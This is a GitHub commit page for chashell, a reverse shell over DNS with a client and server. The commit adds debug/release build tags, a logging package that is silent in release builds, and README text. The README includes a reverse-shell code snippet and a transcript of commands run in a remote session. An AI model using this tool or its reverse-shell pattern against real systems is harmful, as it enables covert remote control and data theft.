Skip to content

Commit

Permalink
Add debug/release builds tags, improve README
Browse files Browse the repository at this point in the history
  • Loading branch information
Nicolas Chatelain committed Feb 15, 2019
1 parent 75b77f4 commit 51aabc1
Show file tree
Hide file tree
Showing 8 changed files with 72 additions and 20 deletions.
9 changes: 5 additions & 4 deletions Makefile
Expand Up @@ -6,6 +6,7 @@ GCFLAGS="all=-trimpath=$GOPATH"

CLIENT_BINARY=chashell
SERVER_BINARY=chaserv
TAGS=release

OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64 darwin/386"

Expand All @@ -24,8 +25,8 @@ endif

build: check-env ## Build for the current architecture.
dep ensure && \
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)

dep: check-env ## Get all the required dependencies
go get -v -u github.com/golang/dep/cmd/dep && \
Expand All @@ -34,12 +35,12 @@ dep: check-env ## Get all the required dependencies
build-client: check-env ## Build the chashell client.
@echo "Building shell"
dep ensure && \
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell

build-server: check-env ## Build the chashell server.
@echo "Building server"
dep ensure && \
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server
gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server


build-all: check-env build-client build-server ## Build everything.
Expand Down
15 changes: 14 additions & 1 deletion README.md
Expand Up @@ -34,7 +34,7 @@ We tested those systems and it works without issues :

* Windows (386/amd64)
* Linux (386/amd64/arm64)
* Mac OS X (386/amd64)
* OS X (386/amd64)

### How to use Chaserv/Chashell

Expand Down Expand Up @@ -92,6 +92,7 @@ The client should now connect back to `chaserv`:

```
[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
Expand All @@ -105,6 +106,11 @@ usr
var
```

Use the *sessions [sessionid]* command to interact with a client.
When interacting with a session, you can use the *background* session in order to return to the *chashell* prompt.

Use the *exit* command to close *chaserv*.

## Implement your own

The *chashell/lib/transport* library is compatible with the *io.Reader* / *io.Writer* interface. So, implementing a reverse shell is as easy as :
Expand All @@ -120,9 +126,16 @@ cmd.Stdin = dnsTransport
cmd.Run()
```

## Debugging

For more verbose messages, add *TAGS=debug* at the end of the make command.

## To Do

* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305))
* Retrieve the host name using the `InfoPacket` message.
* Create a *proxy/relay* tool in order to tunnel TCP/UDP streams. (Meterpreter over DNS !)

## Credits

* Nicolas Chatelain <n.chatelain -at- sysdream.com>
5 changes: 4 additions & 1 deletion cmd/server/cli.go
Expand Up @@ -10,7 +10,10 @@ import (
)

func interact(sessionID string) {
fmt.Println(consoleBuffer[sessionID])
buffer, dataAvailble := consoleBuffer[sessionID]
if dataAvailble && buffer.Len() > 0 {
fmt.Println(buffer.String())
}
delete(consoleBuffer, sessionID)

currentSession = sessionID
Expand Down
25 changes: 25 additions & 0 deletions lib/logging/debug.go
@@ -0,0 +1,25 @@
// +build debug

package logging

import "log"

func Debug(fmt string, args ...interface{}) {
log.Printf(fmt, args...)
}

func Printf(fmt string, args ...interface{}) {
log.Printf(fmt, args...)
}

func Fatal(args ...interface{}) {
log.Fatal(args...)
}

func Fatalf(fmt string, args ...interface{}) {
log.Fatalf(fmt, args...)
}

func Println(v ...interface{}){
log.Println(v...)
}
10 changes: 10 additions & 0 deletions lib/logging/release.go
@@ -0,0 +1,10 @@
// +build !debug


package logging

func Debug(fmt string, args ...interface{}) { }
func Printf(fmt string, args ...interface{}) { }
func Fatal(fmt string, args ...interface{}) { }
func Println(v ...interface{}) { }
func Fatalf(fmt string, args ...interface{}) {}
16 changes: 8 additions & 8 deletions lib/transport/encoding.go
Expand Up @@ -3,11 +3,11 @@ package transport
import (
"bytes"
"chashell/lib/crypto"
"chashell/lib/logging"
"chashell/lib/protocol"
"chashell/lib/splitting"
"encoding/hex"
"github.com/golang/protobuf/proto"
"log"
"strings"
)

Expand All @@ -23,13 +23,13 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)
dataPacketRaw, err := hex.DecodeString(payload)

if err != nil {
log.Println("Invalid packet.\n")
logging.Println("Invalid packet.\n")
return
}

// Check if the packet is big enough to fit the nonce.
if len(dataPacketRaw) <= 24 {
log.Println("Received packet is too small!\n")
logging.Println("Received packet is too small!\n")
return
}

Expand All @@ -38,15 +38,15 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)

// Raise an error if the message is invalid.
if !valid {
log.Println("Received invalid/corrupted packet.\n")
logging.Println("Received invalid/corrupted packet.\n")
return
}

// Parse the "Message" part of the Protocol buffer packet.
message := &protocol.Message{}
if err := proto.Unmarshal(output, message); err != nil {
// This should not append.
log.Printf("Failed to parse message packet: %v\n", err)
logging.Printf("Failed to parse message packet: %v\n", err)
return
}

Expand Down Expand Up @@ -92,7 +92,7 @@ func dnsMarshal(pb proto.Message, encryptionKey string, isRequest bool) (string,
packet, err := proto.Marshal(pb)

if err != nil {
log.Fatal("Unable to marshal packet.\n")
logging.Fatal("Unable to marshal packet.\n")
}

// Encrypt the message.
Expand Down Expand Up @@ -139,7 +139,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s
initPacket, err := dnsMarshal(init, encryptionKey, isRequest)

if err != nil {
log.Fatalf("Init marshaling fatal error : %v\n", err)
logging.Fatalf("Init marshaling fatal error : %v\n", err)
}

// Iterate over every chunks.
Expand All @@ -161,7 +161,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s
dataPacket, err := dnsMarshal(data, encryptionKey, isRequest)

if err != nil {
log.Fatalf("Packet marshaling fatal error : %v\n", err)
logging.Fatalf("Packet marshaling fatal error : %v\n", err)
}

dataPackets = append(dataPackets, dataPacket)
Expand Down
6 changes: 3 additions & 3 deletions lib/transport/polling.go
@@ -1,8 +1,8 @@
package transport

import (
"chashell/lib/logging"
"chashell/lib/protocol"
"log"
"strings"
"time"
)
Expand Down Expand Up @@ -32,12 +32,12 @@ func poll(stream dnsStream) {
pollPacket, err := dnsMarshal(pollQuery, stream.encryptionKey, true)

if err != nil {
log.Fatal("Poll marshaling fatal error : %v\n", err)
logging.Fatal("Poll marshaling fatal error : %v\n", err)
}

answers, err := sendDNSQuery([]byte(pollPacket), stream.targetDomain)
if err != nil {
log.Printf("Could not get answer : %v\n", err)
logging.Printf("Could not get answer : %v\n", err)
return
}

Expand Down
6 changes: 3 additions & 3 deletions lib/transport/stream.go
@@ -1,10 +1,10 @@
package transport

import (
"chashell/lib/logging"
"github.com/Jeffail/tunny"
"github.com/rs/xid"
"io"
"log"
)

type dnsStream struct {
Expand Down Expand Up @@ -43,7 +43,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) {
// Send the init packet to inform that we will send data.
_, err := sendDNSQuery([]byte(initPacket), stream.targetDomain)
if err != nil {
log.Printf("Unable to send init packet : %v\n", err)
logging.Printf("Unable to send init packet : %v\n", err)
return 0, io.ErrClosedPipe
}

Expand All @@ -53,7 +53,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) {
_, err := sendDNSQuery([]byte(packet.(string)), stream.targetDomain)

if err != nil {
log.Printf("Failed to send data packet : %v\n", err)
logging.Printf("Failed to send data packet : %v\n", err)

}
return nil
Expand Down

0 comments on commit 51aabc1

Please sign in to comment.